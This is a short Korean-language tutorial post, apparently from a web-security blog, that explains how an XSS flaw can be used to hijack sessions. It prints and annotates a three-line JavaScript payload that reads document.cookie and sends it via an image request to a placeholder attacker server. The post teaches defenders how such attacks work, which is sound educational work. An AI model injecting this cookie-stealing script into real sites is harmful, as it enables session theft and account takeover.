앞에서 XSS 공격에 대해 알아보았는데요
지금까지는 XSS 공격 취약점이라는 것을 쉽게 파악할 수 있도록, 클라이언트가 취약점 부분에 접속 시 alert(1) 이 실행되도록 하였습니다
alert(1) 은 해당 취약점에 alert(1) 이 아닌 다른 악성 스크립트를 삽입했을 때도 실행될 수 있다는 것을 보여주는 역할이었는데요,
그렇다면 alert(1) 자리에 삽입할 수 있는 악성 스크립트 예시를 하나 알아볼까 합니다
웹페이지는 stateless 하기 때문에 로그인을 계속 유지하려면 쿠키나 세션과 같은 방법을 활용해야 합니다
로그인 유지에는 로그인 정보를 서버에 저장해두는 세션 방식을 주로 사용하는데요,
세션을 구분하기 위한 세션 ID는 클라이언트의 브라우저 쿠키에 저장되어 있습니다
그러니 이 세션을 탈취하면 타인의 정보로 로그인을 할 수 있게 됩니다
그럼 세션 탈취 코드를 한번 살펴볼까요?
var cookieData = document.cookie;
var i = new Image();
i.src = "www.공격자서버주소/?cookie="+cookieData;
만약 A라는 사이트에서 XSS 취약점을 찾아 위와 같은 스크립트를 삽입하고 클라이언트의 브라우저에서 실행시켰다면 어떻게 될까요?
코드를 한 줄씩 살펴보겠습니다
var cookieData = document.cookie;
: A 사이트에 대한 클라이언트의 쿠키 값이 cookieData에 담기게 됩니다
var i = new Image();
: new Image() 는 새로운 이미지 객체를 만들어줍니다
이 객체를 변수에 저장합니다
i.src = "www.공격자서버주소/?cookie="+cookieData;
: 이미지 객체에는 src 라는 이미지의 소스 속성이 있습니다
이미지를 로드하기 위해서는 이 소스에 접근해야 하는데요
이 소스를 "www.공격자서버주소/?cookie="+cookieData 로 지정하게 되면 이미지를 가져오기 위해 클라이언트는 공격자 서버에 자신의 A 사이트에 대한 쿠키 데이터를 파라미터로 한 GET 요청을 하게 됩니다
그러면 공격자는 이 파라미터를 받아와 클라이언트의 A 사이트 쿠키에 담긴 세션 ID를 탈취하게 됩니다